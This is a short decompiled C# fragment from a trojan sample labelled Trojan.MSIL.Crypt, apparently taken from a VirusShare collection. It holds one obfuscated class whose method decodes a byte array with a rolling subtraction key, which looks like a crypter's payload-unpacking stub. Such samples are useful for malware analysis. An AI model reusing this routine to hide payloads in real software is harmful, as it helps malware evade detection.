// Decompiled with JetBrains decompiler
// Type: ıāĉąĨĺđ
// Assembly: Predator, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: C3700C57-E52F-42E7-A410-A2CC55101D95
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Crypt.jc-ed0c4139a2a96188d2701f0d968de74e11c18aa238d82dd8fadc5631a0630af2.exe

using Microsoft.VisualBasic.CompilerServices;

[StandardModule]
internal sealed class ıāĉąĨĺđ
{
  public static byte[] ĮĔĖĲĔĚĮĶĒĦĒĆħĄăĥČĤďĒĳĒ(byte[] ÌÏÏ)
  {
    byte[] numArray = new byte[checked (ÌÏÏ.Length - 4 + 1)];
    int num1 = (int) ÌÏÏ[0];
    int num2 = checked (ÌÏÏ.Length - 1);
    int index = 3;
    while (index <= num2)
    {
      if (num1 == (int) ÌÏÏ[1] | num1 > (int) ÌÏÏ[1])
        num1 = (int) ÌÏÏ[0];
      int num3 = checked ((int) ÌÏÏ[index] - num1);
      if (num3 < 0)
        checked { num3 += 256; }
      if (num3 > (int) byte.MaxValue)
        checked { num3 -= 256; }
      numArray[checked (index - 3)] = checked ((byte) num3);
      checked { num1 += 1 + (int) ÌÏÏ[2]; }
      checked { ++index; }
    }
    return numArray;
  }
}
